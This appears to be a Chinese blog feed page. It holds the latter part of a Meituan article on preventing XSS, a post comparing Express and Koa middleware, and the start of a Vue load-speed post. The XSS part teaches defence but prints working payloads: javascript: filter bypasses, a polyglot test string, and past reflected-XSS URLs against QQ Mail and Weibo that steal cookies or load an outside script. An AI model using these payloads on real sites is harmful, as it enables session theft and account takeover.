自从上次事件之后,小明会小心的把插入到页面中的数据进行转义。而且他还发现了大部分模板都带有的转义配置,让所有插入到页面中的数据都默认进行转义。这样就不怕不小心漏掉未转义的变量啦,于是小明的工作又渐渐变得轻松起来。

但是,作为导演的我,不可能让小明这么简单、开心地改 Bug 。

不久,小明又收到安全组的神秘链接:http://xxx/?redirect_to=javascript:alert('XSS')。小明不敢大意,赶忙点开页面。然而,页面并没有自动弹出万恶的“XSS”。

小明打开对应页面的源码,发现有以下内容:

<a href="<%= escapeHTML(getParameter("redirect_to")) %>">跳转...</a>

这段代码,当攻击 URL 为 http://xxx/?redirect_to=javascript:alert('XSS'),服务端响应就成了:

<a href="javascript:alert(&#x27;XSS&#x27;)">跳转...</a>

虽然代码不会立即执行,但一旦用户点击 a 标签时,浏览器会就会弹出“XSS”。

可恶,又失策了...

在这里,用户的数据并没有在位置上突破我们的限制,仍然是正确的 href 属性。但其内容并不是我们所预期的类型。

原来不仅仅是特殊字符,连 javascript: 这样的字符串如果出现在特定的位置也会引发 XSS 攻击。

小明眉头一皱,想到了解决办法:

// 禁止 URL 以 "javascript:" 开头
xss = getParameter("redirect_to").startsWith('javascript:');
if (!xss) {
  <a href="<%= escapeHTML(getParameter("redirect_to"))%>">
    跳转...
  </a>
} else {
  <a href="/404">
    跳转...
  </a>
}

只要 URL 的开头不是 javascript:,就安全了吧?

安全组随手又扔了一个连接:http://xxx/?redirect_to=jAvascRipt:alert('XSS')

这也能执行?.....好吧,浏览器就是这么强大。

小明欲哭无泪,在判断 URL 开头是否为 javascript: 时,先把用户输入转成了小写,然后再进行比对。

不过,所谓“道高一尺,魔高一丈”。面对小明的防护策略,安全组就构造了这样一个连接:

http://xxx/?redirect_to=%20javascript:alert('XSS')

%20javascript:alert('XSS') 经过 URL 解析后变成 javascript:alert('XSS'),这个字符串以空格开头。这样攻击者可以绕过后端的关键词规则,又成功的完成了注入。

最终,小明选择了白名单的方法,彻底解决了这个漏洞:

// 根据项目情况进行过滤,禁止掉 "javascript:" 链接、非法 scheme 等
allowSchemes = ["http", "https"];

valid = isValid(getParameter("redirect_to"), allowSchemes);

if (valid) {
  <a href="<%= escapeHTML(getParameter("redirect_to"))%>">
    跳转...
  </a>
} else {
  <a href="/404">
    跳转...
  </a>
}

通过这个事件,小明学习到了如下知识:

  • 做了 HTML 转义,并不等于高枕无忧。
  • 对于链接跳转,如 <a href="xxx"location.href="xxx",要检验其内容,禁止以 javascript: 开头的链接,和其他非法的 scheme。

根据上下文采用不同的转义规则

某天,小明为了加快网页的加载速度,把一个数据通过 JSON 的方式内联到 HTML 中:

<script>
var initData = <%= data.toJSON() %>
</script>

插入 JSON 的地方不能使用 escapeHTML(),因为转义 " 后,JSON 格式会被破坏。

但安全组又发现有漏洞,原来这样内联 JSON 也是不安全的:

  • 当 JSON 中包含 U+2028U+2029 这两个字符时,不能作为 JavaScript 的字面量使用,否则会抛出语法错误。
  • 当 JSON 中包含字符串 </script> 时,当前的 script 标签将会被闭合,后面的字符串内容浏览器会按照 HTML 进行解析;通过增加下一个 <script> 标签等方法就可以完成注入。

于是我们又要实现一个 escapeEmbedJSON() 函数,对内联 JSON 进行转义。

转义规则如下:

字符转义后的字符
U+2028\u2028
U+2029\u2029
<\u003c

修复后的代码如下:

<script>
var initData = <%= escapeEmbedJSON(data.toJSON()) %>

通过这个事件,小明学习到了如下知识:

  • HTML 转义是非常复杂的,在不同的情况下要采用不同的转义规则。如果采用了错误的转义规则,很有可能会埋下 XSS 隐患。
  • 应当尽量避免自己写转义库,而应当采用成熟的、业界通用的转义库。

漏洞总结

小明的例子讲完了,下面我们来系统的看下 XSS 有哪些注入的方法:

  • 在 HTML 中内嵌的文本中,恶意内容以 script 标签形成注入。
  • 在内联的 JavaScript 中,拼接的数据突破了原本的限制(字符串,变量,方法名等)。
  • 在标签属性中,恶意内容包含引号,从而突破属性值的限制,注入其他属性或者标签。
  • 在标签的 href、src 等属性中,包含 javascript: 等可执行代码。
  • 在 onload、onerror、onclick 等事件中,注入不受控制代码。
  • 在 style 属性和标签中,包含类似 background-image:url("javascript:..."); 的代码(新版本浏览器已经可以防范)。
  • 在 style 属性和标签中,包含类似 expression(...) 的 CSS 表达式代码(新版本浏览器已经可以防范)。

总之,如果开发者没有将用户输入的文本进行合适的过滤,就贸然插入到 HTML 中,这很容易造成注入漏洞。攻击者可以利用漏洞,构造出恶意的代码指令,进而利用恶意代码危害数据安全。

XSS 攻击的分类

通过上述几个例子,我们已经对 XSS 有了一些认识。

什么是 XSS

Cross-Site Scripting(跨站脚本攻击)简称 XSS,是一种代码注入攻击。攻击者通过在目标网站上注入恶意脚本,使之在用户的浏览器上运行。利用这些恶意脚本,攻击者可获取用户的敏感信息如 Cookie、SessionID 等,进而危害数据安全。

为了和 CSS 区分,这里把攻击的第一个字母改成了 X,于是叫做 XSS。

XSS 的本质是:恶意代码未经过滤,与网站正常的代码混在一起;浏览器无法分辨哪些脚本是可信的,导致恶意脚本被执行。

而由于直接在用户的终端执行,恶意代码能够直接获取用户的信息,或者利用这些信息冒充用户向网站发起攻击者定义的请求。

在部分情况下,由于输入的限制,注入的恶意脚本比较短。但可以通过引入外部的脚本,并由浏览器执行,来完成比较复杂的攻击策略。

这里有一个问题:用户是通过哪种方法“注入”恶意脚本的呢?

不仅仅是业务上的“用户的 UGC 内容”可以进行注入,包括 URL 上的参数等都可以是攻击的来源。在处理输入时,以下内容都不可信:

  • 来自用户的 UGC 信息
  • 来自第三方的链接
  • URL 参数
  • POST 参数
  • Referer (可能来自不可信的来源)
  • Cookie (可能来自其他子域注入)

XSS 分类

根据攻击的来源,XSS 攻击可分为存储型、反射型和 DOM 型三种。

类型存储区*插入点*
存储型 XSS后端数据库HTML
反射型 XSSURLHTML
DOM 型 XSS后端数据库/前端存储/URL前端 JavaScript
  • 存储区:恶意代码存放的位置。
  • 插入点:由谁取得恶意代码,并插入到网页上。

存储型 XSS

存储型 XSS 的攻击步骤:

  1. 攻击者将恶意代码提交到目标网站的数据库中。
  2. 用户打开目标网站时,网站服务端将恶意代码从数据库取出,拼接在 HTML 中返回给浏览器。
  3. 用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行。
  4. 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。

这种攻击常见于带有用户保存数据的网站功能,如论坛发帖、商品评论、用户私信等。

反射型 XSS

反射型 XSS 的攻击步骤:

  1. 攻击者构造出特殊的 URL,其中包含恶意代码。
  2. 用户打开带有恶意代码的 URL 时,网站服务端将恶意代码从 URL 中取出,拼接在 HTML 中返回给浏览器。
  3. 用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行。
  4. 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。

反射型 XSS 跟存储型 XSS 的区别是:存储型 XSS 的恶意代码存在数据库里,反射型 XSS 的恶意代码存在 URL 里。

反射型 XSS 漏洞常见于通过 URL 传递参数的功能,如网站搜索、跳转等。

由于需要用户主动打开恶意的 URL 才能生效,攻击者往往会结合多种手段诱导用户点击。

POST 的内容也可以触发反射型 XSS,只不过其触发条件比较苛刻(需要构造表单提交页面,并引导用户点击),所以非常少见。

DOM 型 XSS

DOM 型 XSS 的攻击步骤:

  1. 攻击者构造出特殊的 URL,其中包含恶意代码。
  2. 用户打开带有恶意代码的 URL。
  3. 用户浏览器接收到响应后解析执行,前端 JavaScript 取出 URL 中的恶意代码并执行。
  4. 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。

DOM 型 XSS 跟前两种 XSS 的区别:DOM 型 XSS 攻击中,取出和执行恶意代码由浏览器端完成,属于前端 JavaScript 自身的安全漏洞,而其他两种 XSS 都属于服务端的安全漏洞。

XSS 攻击的预防

通过前面的介绍可以得知,XSS 攻击有两大要素:

  1. 攻击者提交恶意代码。
  2. 浏览器执行恶意代码。

针对第一个要素:我们是否能够在用户输入的过程,过滤掉用户输入的恶意代码呢?

输入过滤

在用户提交时,由前端过滤输入,然后提交到后端。这样做是否可行呢?

答案是不可行。一旦攻击者绕过前端过滤,直接构造请求,就可以提交恶意代码了。

那么,换一个过滤时机:后端在写入数据库前,对输入进行过滤,然后把“安全的”内容,返回给前端。这样是否可行呢?

我们举一个例子,一个正常的用户输入了 5 < 7 这个内容,在写入数据库前,被转义,变成了 5 &lt; 7

问题是:在提交阶段,我们并不确定内容要输出到哪里。

这里的“并不确定内容要输出到哪里”有两层含义:

  1. 用户的输入内容可能同时提供给前端和客户端,而一旦经过了 escapeHTML(),客户端显示的内容就变成了乱码( 5 &lt; 7 )。
  2. 在前端中,不同的位置所需的编码也不同。

    • 5 &lt; 7 作为 HTML 拼接页面时,可以正常显示:

      <div title="comment">5 &lt; 7</div>
    • 5 &lt; 7 通过 Ajax 返回,然后赋值给 JavaScript 的变量时,前端得到的字符串就是转义后的字符。这个内容不能直接用于 Vue 等模板的展示,也不能直接用于内容长度计算。不能用于标题、alert 等。

所以,输入侧过滤能够在某些情况下解决特定的 XSS 问题,但会引入很大的不确定性和乱码问题。在防范 XSS 攻击时应避免此类方法。

当然,对于明确的输入类型,例如数字、URL、电话号码、邮件地址等等内容,进行输入过滤还是必要的。

既然输入过滤并非完全可靠,我们就要通过“防止浏览器执行恶意代码”来防范 XSS。这部分分为两类:

  • 防止 HTML 中出现注入。
  • 防止 JavaScript 执行时,执行恶意代码。

预防存储型和反射型 XSS 攻击

存储型和反射型 XSS 都是在服务端取出恶意代码后,插入到响应 HTML 里的,攻击者刻意编写的“数据”被内嵌到“代码”中,被浏览器所执行。

预防这两种漏洞,有两种常见做法:

  • 改成纯前端渲染,把代码和数据分隔开。
  • 对 HTML 做充分转义。

纯前端渲染

纯前端渲染的过程:

  1. 浏览器先加载一个静态 HTML,此 HTML 中不包含任何跟业务相关的数据。
  2. 然后浏览器执行 HTML 中的 JavaScript。
  3. JavaScript 通过 Ajax 加载业务数据,调用 DOM API 更新到页面上。

在纯前端渲染中,我们会明确的告诉浏览器:下面要设置的内容是文本(.innerText),还是属性(.setAttribute),还是样式(.style)等等。浏览器不会被轻易的被欺骗,执行预期外的代码了。

但纯前端渲染还需注意避免 DOM 型 XSS 漏洞(例如 onload 事件和 href 中的 javascript:xxx 等,请参考下文”预防 DOM 型 XSS 攻击“部分)。

在很多内部、管理系统中,采用纯前端渲染是非常合适的。但对于性能要求高,或有 SEO 需求的页面,我们仍然要面对拼接 HTML 的问题。

转义 HTML

如果拼接 HTML 是必要的,就需要采用合适的转义库,对 HTML 模板各处插入点进行充分的转义。

常用的模板引擎,如 doT.js、ejs、FreeMarker 等,对于 HTML 转义通常只有一个规则,就是把 & < > " ' / 这几个字符转义掉,确实能起到一定的 XSS 防护作用,但并不完善:

XSS 安全漏洞简单转义是否有防护作用
HTML 标签文字内容
HTML 属性值
CSS 内联样式
内联 JavaScript
内联 JSON
跳转链接

所以要完善 XSS 防护措施,我们要使用更完善更细致的转义策略。

例如 Java 工程里,常用的转义库为 org.owasp.encoder。以下代码引用自 org.owasp.encoder 的官方说明

<!-- HTML 标签内文字内容 -->
<div><%= Encode.forHtml(UNTRUSTED) %></div>

<!-- HTML 标签属性值 -->
<input value="<%= Encode.forHtml(UNTRUSTED) %>" />

<!-- CSS 属性值 -->
<div style="width:<= Encode.forCssString(UNTRUSTED) %>">

<!-- CSS URL -->
<div style="background:<= Encode.forCssUrl(UNTRUSTED) %>">

<!-- JavaScript 内联代码块 -->
<script>
  var msg = "<%= Encode.forJavaScript(UNTRUSTED) %>";
  alert(msg);
</script>

<!-- JavaScript 内联代码块内嵌 JSON -->
<script>
var __INITIAL_STATE__ = JSON.parse('<%= Encoder.forJavaScript(data.to_json) %>');
</script>

<!-- HTML 标签内联监听器 -->
<button
  onclick="alert('<%= Encode.forJavaScript(UNTRUSTED) %>');">
  click me
</button>

<!-- URL 参数 -->
<a href="/search?value=<%= Encode.forUriComponent(UNTRUSTED) %>&order=1#top">

<!-- URL 路径 -->
<a href="/page/<%= Encode.forUriComponent(UNTRUSTED) %>">

<!--
  URL.
  注意:要根据项目情况进行过滤,禁止掉 "javascript:" 链接、非法 scheme 等
-->
<a href='<%=
  urlValidator.isValid(UNTRUSTED) ?
    Encode.forHtml(UNTRUSTED) :
    "/404"
%>'>
  link
</a>

可见,HTML 的编码是十分复杂的,在不同的上下文里要使用相应的转义规则。

预防 DOM 型 XSS 攻击

DOM 型 XSS 攻击,实际上就是网站前端 JavaScript 代码本身不够严谨,把不可信的数据当作代码执行了。

在使用 .innerHTML.outerHTMLdocument.write() 时要特别小心,不要把不可信的数据作为 HTML 插到页面上,而应尽量使用 .textContent.setAttribute() 等。

如果用 Vue/React 技术栈,并且不使用 v-html/dangerouslySetInnerHTML 功能,就在前端 render 阶段避免 innerHTMLouterHTML 的 XSS 隐患。

DOM 中的内联事件监听器,如 locationonclickonerroronloadonmouseover 等,<a> 标签的 href 属性,JavaScript 的 eval()setTimeout()setInterval() 等,都能把字符串作为代码运行。如果不可信的数据拼接到字符串中传递给这些 API,很容易产生安全隐患,请务必避免。

<!-- 内联事件监听器中包含恶意代码 -->
<img onclick="UNTRUSTED" onerror="UNTRUSTED" data-original="data:image/png,">

<!-- 链接内包含恶意代码 -->
<a href="UNTRUSTED">1</a>

<script>
// setTimeout()/setInterval() 中调用恶意代码
setTimeout("UNTRUSTED")
setInterval("UNTRUSTED")

// location 调用恶意代码
location.href = 'UNTRUSTED'

// eval() 中调用恶意代码
eval("UNTRUSTED")
</script>

如果项目中有用到这些的话,一定要避免在字符串中拼接不可信数据。

其他 XSS 防范措施

虽然在渲染页面和执行 JavaScript 时,通过谨慎的转义可以防止 XSS 的发生,但完全依靠开发的谨慎仍然是不够的。以下介绍一些通用的方案,可以降低 XSS 带来的风险和后果。

Content Security Policy

严格的 CSP 在 XSS 的防范中可以起到以下的作用:

  • 禁止加载外域代码,防止复杂的攻击逻辑。
  • 禁止外域提交,网站被攻击后,用户的数据不会泄露到外域。
  • 禁止内联脚本执行(规则较严格,目前发现 GitHub 使用)。
  • 禁止未授权的脚本执行(新特性,Google Map 移动版在使用)。
  • 合理使用上报可以及时发现 XSS,利于尽快修复问题。

关于 CSP 的详情,请关注前端安全系列后续的文章。

输入内容长度控制

对于不受信任的输入,都应该限定一个合理的长度。虽然无法完全防止 XSS 发生,但可以增加 XSS 攻击的难度。

其他安全措施

  • HTTP-only Cookie: 禁止 JavaScript 读取某些敏感 Cookie,攻击者完成 XSS 注入后也无法窃取此 Cookie。
  • 验证码:防止脚本冒充用户提交危险操作。

XSS 的检测

上述经历让小明收获颇丰,他也学会了如何去预防和修复 XSS 漏洞,在日常开发中也具备了相关的安全意识。但对于已经上线的代码,如何去检测其中有没有 XSS 漏洞呢?

经过一番搜索,小明找到了两个方法:

  1. 使用通用 XSS 攻击字符串手动检测 XSS 漏洞。
  2. 使用扫描工具自动检测 XSS 漏洞。

Unleashing an Ultimate XSS Polyglot一文中,小明发现了这么一个字符串:

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

它能够检测到存在于 HTML 属性、HTML 文字内容、HTML 注释、跳转链接、内联 JavaScript 字符串、内联 CSS 样式表等多种上下文中的 XSS 漏洞,也能检测 eval()setTimeout()setInterval()Function()innerHTMLdocument.write() 等 DOM 型 XSS 漏洞,并且能绕过一些 XSS 过滤器。

小明只要在网站的各输入框中提交这个字符串,或者把它拼接到 URL 参数上,就可以进行检测了。

http://xxx/search?keyword=jaVasCript%3A%2F*-%2F*%60%2F*%60%2F*%27%2F*%22%2F**%2F(%2F*%20*%2FoNcliCk%3Dalert()%20)%2F%2F%250D%250A%250d%250a%2F%2F%3C%2FstYle%2F%3C%2FtitLe%2F%3C%2FteXtarEa%2F%3C%2FscRipt%2F--!%3E%3CsVg%2F%3CsVg%2FoNloAd%3Dalert()%2F%2F%3E%3E

除了手动检测之外,还可以使用自动扫描工具寻找 XSS 漏洞,例如 ArachniMozilla HTTP Observatoryw3af 等。

XSS 攻击的总结

我们回到最开始提出的问题,相信同学们已经有了答案:

  1. XSS 防范是后端 RD 的责任,后端 RD 应该在所有用户提交数据的接口,对敏感字符进行转义,才能进行下一步操作。

    不正确。因为:

    • 防范存储型和反射型 XSS 是后端 RD 的责任。而 DOM 型 XSS 攻击不发生在后端,是前端 RD 的责任。防范 XSS 是需要后端 RD 和前端 RD 共同参与的系统工程。
    • 转义应该在输出 HTML 时进行,而不是在提交用户输入时。
  2. 所有要插入到页面上的数据,都要通过一个敏感字符过滤函数的转义,过滤掉通用的敏感字符后,就可以插入到页面中。

    不正确。
    不同的上下文,如 HTML 属性、HTML 文字内容、HTML 注释、跳转链接、内联 JavaScript 字符串、内联 CSS 样式表等,所需要的转义规则不一致。
    业务 RD 需要选取合适的转义库,并针对不同的上下文调用不同的转义规则。

整体的 XSS 防范是非常复杂和繁琐的,我们不仅需要在全部需要转义的位置,对数据进行对应的转义。而且要防止多余和错误的转义,避免正常的用户输入出现乱码。

虽然很难通过技术手段完全避免 XSS,但我们可以总结以下原则减少漏洞的产生:

  • 利用模板引擎
    开启模板引擎自带的 HTML 转义功能。例如:
    在 ejs 中,尽量使用 <%= data %> 而不是 <%- data %>
    在 doT.js 中,尽量使用 {{! data } 而不是 {{= data }
    在 FreeMarker 中,确保引擎版本高于 2.3.24,并且选择正确的 freemarker.core.OutputFormat
  • 避免内联事件
    尽量不要使用 onLoad="onload('{{data}}')"onClick="go('{{action}}')" 这种拼接内联事件的写法。在 JavaScript 中通过 .addEventlistener() 事件绑定会更安全。
  • 避免拼接 HTML
    前端采用拼接 HTML 的方法比较危险,如果框架允许,使用 createElementsetAttribute 之类的方法实现。或者采用比较成熟的渲染框架,如 Vue/React 等。
  • 时刻保持警惕
    在插入位置为 DOM 属性、链接等位置时,要打起精神,严加防范。
  • 增加攻击难度,降低攻击后果
    通过 CSP、输入长度配置、接口安全措施等方法,增加攻击的难度,降低攻击的后果。
  • 主动检测和发现
    可使用 XSS 攻击字符串和自动扫描工具寻找潜在的 XSS 漏洞。

XSS 攻击案例

QQ 邮箱 m.exmail.qq.com 域名反射型 XSS 漏洞

攻击者发现 http://m.exmail.qq.com/cgi-bin/login?uin=aaaa&domain=bbbb 这个 URL 的参数 uindomain 未经转义直接输出到 HTML 中。

于是攻击者构建出一个 URL,并引导用户去点击:
http://m.exmail.qq.com/cgi-bin/login?uin=aaaa&domain=bbbb%26quot%3B%3Breturn+false%3B%26quot%3B%26lt%3B%2Fscript%26gt%3B%26lt%3Bscript%26gt%3Balert(document.cookie)%26lt%3B%2Fscript%26gt%3B

用户点击这个 URL 时,服务端取出 URL 参数,拼接到 HTML 响应中:

<script>
getTop().location.href="/cgi-bin/loginpage?autologin=n&errtype=1&verify=&clientuin=aaa"+"&t="+"&d=bbbb";return false;</script><script>alert(document.cookie)</script>"+"...

浏览器接收到响应后就会执行 alert(document.cookie),攻击者通过 JavaScript 即可窃取当前用户在 QQ 邮箱域名下的 Cookie ,进而危害数据安全。

新浪微博名人堂反射型 XSS 漏洞

攻击者发现 http://weibo.com/pub/star/g/xyyyd 这个 URL 的内容未经过滤直接输出到 HTML 中。

于是攻击者构建出一个 URL,然后诱导用户去点击:

http://weibo.com/pub/star/g/xyyyd"><script data-original=//xxxx.cn/image/t.js></script>

用户点击这个 URL 时,服务端取出请求 URL,拼接到 HTML 响应中:

<li><a href="http://weibo.com/pub/star/g/xyyyd"><script data-original=//xxxx.cn/image/t.js></script>">按分类检索</a></li>

浏览器接收到响应后就会加载执行恶意脚本 //xxxx.cn/image/t.js,在恶意脚本中利用用户的登录状态进行关注、发微博、发私信等操作,发出的微博和私信可再带上攻击 URL,诱导更多人点击,不断放大攻击范围。这种窃用受害者身份发布恶意内容,层层放大攻击范围的方式,被称为“XSS 蠕虫”。

扩展阅读:Automatic Context-Aware Escaping

上文我们说到:

  1. 合适的 HTML 转义可以有效避免 XSS 漏洞。
  2. 完善的转义库需要针对上下文制定多种规则,例如 HTML 属性、HTML 文字内容、HTML 注释、跳转链接、内联 JavaScript 字符串、内联 CSS 样式表等等。
  3. 业务 RD 需要根据每个插入点所处的上下文,选取不同的转义规则。

通常,转义库是不能判断插入点上下文的(Not Context-Aware),实施转义规则的责任就落到了业务 RD 身上,需要每个业务 RD 都充分理解 XSS 的各种情况,并且需要保证每一个插入点使用了正确的转义规则。

这种机制工作量大,全靠人工保证,很容易造成 XSS 漏洞,安全人员也很难发现隐患。

2009年,Google 提出了一个概念叫做:Automatic Context-Aware Escaping

所谓 Context-Aware,就是说模板引擎在解析模板字符串的时候,就解析模板语法,分析出每个插入点所处的上下文,据此自动选用不同的转义规则。这样就减轻了业务 RD 的工作负担,也减少了人为带来的疏漏。

在一个支持 Automatic Context-Aware Escaping 的模板引擎里,业务 RD 可以这样定义模板,而无需手动实施转义规则:

<html>
  <head>
    <meta charset="UTF-8">
    <title>{{.title}}</title>
  </head>
  <body>
    <a href="{{.url}}">{{.content}}</a>
  </body>
</html>

模板引擎经过解析后,得知三个插入点所处的上下文,自动选用相应的转义规则:

<html>
  <head>
    <meta charset="UTF-8">
    <title>{{.title | htmlescaper}}</title>
  </head>
  <body>
    <a href="{{.url | urlescaper | attrescaper}}">{{.content | htmlescaper}}</a>
  </body>
</html>

目前已经支持 Automatic Context-Aware Escaping 的模板引擎有:

课后作业:XSS 攻击小游戏

以下是几个 XSS 攻击小游戏,开发者在网站上故意留下了一些常见的 XSS 漏洞。玩家在网页上提交相应的输入,完成 XSS 攻击即可通关。

在玩游戏的过程中,请各位读者仔细思考和回顾本文内容,加深对 XSS 攻击的理解。

alert(1) to win
prompt(1) to win
XSS game

参考文献

下期预告

前端安全系列文章将对 XSS、CSRF、网络劫持、Hybrid 安全等安全议题展开论述。下期我们要讨论的是 CSRF 攻击,敬请关注。

作者介绍

李阳,美团点评前端工程师。2016年加入美团点评,负责美团外卖 Hybrid 页面性能优化相关工作。

查看原文

小葱 发布了文章 · 8月27日

node 中间件介绍

nodejs提供了http模块,自身就可以用来构建服务器,而且http模块是由C++实现的,性能可靠。今天我们讲下node中间件。

http基本用法

http.createServer函数用来创建一个HTTP服务器,并将 requestListener 作为 request 事件的监听函数。
http.createServer([requestListener])
由于该方法属于http模块,使用前需要引入http模块(var http= require(“http”) )
接收参数:
requestListener   请求处理函数,自动添加到 request 事件,函数传递两个参数:

    req  请求对象,想知道req有哪些属性,可以查看 “http.request 属性整合”。

    res   响应对象 ,收到请求后要做出的响应。想知道res有哪些属性,可以查看 “http.response属性整合”。
例:

var http = require('http')
http.createServer(function(req,res) {
    res.writeHead(200,{
        "content-type":"text/plain"
    })
    res.write("hello node")
    res.write("hello node1")

    res.end("dkkddkdk")
}).listen(3000)

Express

Express 是一个保持最小规模的灵活的 Node.js Web 应用程序开发框架,为 Web 和移动应用程序提供一组强大的功能。

一 创建express服务

let express = require('express');
let app = express();
// 最基本的模型
app.get('/',function(req,res){
    res.end('ok');
});
app.listen(3000);

二 配置路由

语法:
app.<method>(path,[callback...],callback)

app.get('/',function(req,res){ res.send("Server Root"); }); app.post('/',function(req,res){ res.send("Save Page"); });

三 中间件

express支持的中间件组件如下:
1.应用级别的中间件

app.get("/", function (req, res,next) {
    console.log("匹配成功");
    next()
})

2.路由中间件

app.get("/", function (req, res,next) {
    console.log("匹配成功");
    next()
})

app.get("/", function (req, res) {
    var list = [1, 6, 9, 8, 55, 66, 45]
    res.render('index', {
        "list": list
    })
})

其他中间件

  • static:允许express服务器以流式处理静态文件的GET请求。这个中间件是Express内置的,它可以通过express.static()访问。
  • express-logger:实现一个格式化的请求记录器来跟踪对服务器的请求
  • basic-auth-connect:提供对基本的HTTP身份验证的支持。
  • cookie-parser:你可以从请求读取cookie并在响应中设置cookie
  • cookie-session:提供基于cookie的会话支持
  • express-session:提供了一个相当强大的会话实现
  • body-parser:把POST请求正文中的JSON数据解析为req.body属性
  • compression:对发给客户端的大响应提供Gzip压缩支持
  • csurf:提供跨站点请求伪造保护。

KOA

简单应用

const Koa = require('koa'); 
const app = new Koa();
app.use(async ctx => { ctx.body = 'Hello World'; }); app.listen(3000);

级联

Koa 的中间件通过一种更加传统(您也许会很熟悉)的方式进行级联,摒弃了以往 node 频繁的回调函数造成的复杂代码逻辑。 然而,使用异步函数,我们可以实现"真正" 的中间件。与之不同,当执行到 yield next 语句时,Koa 暂停了该中间件,继续执行下一个符合请求的中间件('downstrem'),然后控制权再逐级返回给上层中间件('upstream')。

const Koa = require('koa'); 
const app = new Koa(); // x-response-time 
app.use(async (ctx, next) => { 
    const start = Date.now(); 
    await next(); 
    const ms = Date.now() - start; 
    ctx.set('X-Response-Time', `${ms}ms`); 
}); // logger 
app.use(async (ctx, next) => { 
    const start = Date.now();
    await next(); 
    const ms = Date.now() - start;
    console.log(`${ctx.method} ${ctx.url} - ${ms}`); 
}); 
// response 
app.use(async ctx => { 
    ctx.body = 'Hello World'; 
});

koa-router 路由管理模块的使用

const Koa = require('koa'); 
// Koa 为一个class 
const Router = require('koa-router') // koa 路由中间件 const app = new Koa(); 
const router = new Router(); // 实例化路由 // 添加url router.get('hello:name', async (ctx, next) => { 
    var name = ctx.params.name; // 获取请求参数 
    ctx.response.body = `<h5>Hello, ${name}!</h5>`; 
}); 
router.get('/', async (ctx, next) => { 
    ctx.response.body = '<h5>Index</h5>'; 
}); 
app.use(router.routes()); 
app.listen(3333, () => { 
    console.log('This server is running ') 
})

KOA与Express比较

Express和Koa都是基于Nodejs平台的web框架,也是目前比较常见的用于快速开发web服务的框架,且两者都是基于middleware的方式去处理客户端请求,那么两者有何区别呢?
简单点说就是,“Express是直线型,Koa是洋葱模型”。

我们来看下下面代码

// for express example
const express = require('express');

const app = express();

async function cb1(req, res, next) {
    console.log('>>>>>>cb1');
    await next();
    console.log('<<<<<<cb1');
}

async function cb2(req, res, next) {
    return new Promise((resolve) => {
        setTimeout(resolve, 500);
    }).then(() => {
        console.log('>>>cb2<<<');
        res.send('hello world');
    });
}

app.use('/', [cb1, cb2]);
app.listen(3000);
// for koa2 example
const koa = require('koa2');

const app = new koa();

async function cb1(ctx, next) {
    console.log('>>>>>>cb1');
    await next();
    console.log('<<<<<<cb1');
}

async function cb2(ctx, next) {
    return new Promise((resolve) => {
        setTimeout(resolve, 500);
    }).then(() => {
        console.log('>>>cb2<<<');
        ctx.body = 'hello world';
    });
}

app.use(cb1);
app.use(cb2);
app.listen(3000);

express结果

>>>>>>cb1
>>>>>>cb1
>>>cb2>>>

KOA结果

>>>>>>cb1
>>>cb2<<<
<<<<<<cb1

从上面的例子可以看出,当middleware为异步函数时,Express和Koa的执行流程是不同的。Express的返回结果并不是我们设想中的结果,是什么原因导致的行为差异呢?下面,让我们一起来简单的分析下Express和Koa中执行middleware部分的源码片段。
在Express中,执行middleware的逻辑代码主要位于_lib/router/route.js_和_lib/router.layer.js_文件:

// route.js
Route.prototype.dispatch = function dispatch(req, res, done) {
  var idx = 0;
  var stack = this.stack;
  if (stack.length === 0) {
    return done();
  }

  var method = req.method.toLowerCase();
  if (method === 'head' && !this.methods['head']) {
    method = 'get';
  }

  req.route = this;

  next();

  function next(err) {
    // signal to exit route
    if (err && err === 'route') {
      return done();
    }

    // signal to exit router
    if (err && err === 'router') {
      return done(err)
    }

    var layer = stack[idx++];
    if (!layer) {
      return done(err);
    }

    if (layer.method && layer.method !== method) {
      return next(err);
    }

    if (err) {
      layer.handle_error(err, req, res, next);
    } else {
      layer.handle_request(req, res, next);
    }
  }
};


//layer.js
Layer.prototype.handle_error = function handle_error(error, req, res, next) {
  var fn = this.handle;

  if (fn.length !== 4) {
    // not a standard error handler
    return next(error);
  }

  try {
    fn(error, req, res, next);
  } catch (err) {
    next(err);
  }
};

Layer.prototype.handle_request = function handle(req, res, next) {
  var fn = this.handle;

  if (fn.length > 3) {
    // not a standard request handler
    return next();
  }

  try {
    fn(req, res, next);
  } catch (err) {
    next(err);
  }
};

在Koa2中,执行middleware的逻辑代码主要位于_koa-compose/index.js_文件:

function compose (middleware) {
  if (!Array.isArray(middleware)) throw new TypeError('Middleware stack must be an array!')
  for (const fn of middleware) {
    if (typeof fn !== 'function') throw new TypeError('Middleware must be composed of functions!')
  }

  /**
   * @param {Object} context
   * @return {Promise}
   * @api public
   */

  return function (context, next) {
    // last called middleware #
    let index = -1
    return dispatch(0)
    function dispatch (i) {
      if (i <= index) return Promise.reject(new Error('next() called multiple times'))
      index = i
      let fn = middleware[i]
      if (i === middleware.length) fn = next
      if (!fn) return Promise.resolve()
      try {
        return Promise.resolve(fn(context, function next () {
          return dispatch(i + 1)
        }))
      } catch (err) {
        return Promise.reject(err)
      }
    }
  }
}

由上可知,Express中middleware的next参数是一个普通的函数对象,而Koa中middleware的next参数是一个promise对象。所以当我们挂载异步的middleware时,Express并不能像Koa一样,在middleware中使用await去等待下一个middleware执行完成之后,再执行当前middleware的后续逻辑。这就是为什么“Express是直线型,Koa是洋葱模型”的根本原因。

查看原文

赞 2 收藏 2 评论 0

小葱 发布了文章 · 8月27日

Vue如何优化首页加载速度

一 页面性能指标

FP (First Paint) 首次绘制: 标记浏览器渲染任何在视觉上不同于导航前屏幕内容之内容的时间点.
FCP (First Contentful Paint) 首次内容绘制 标记浏览器渲染来自 DOM 第一位内容的时间点,该内容可能是文本、图像、SVG 甚至 元素.
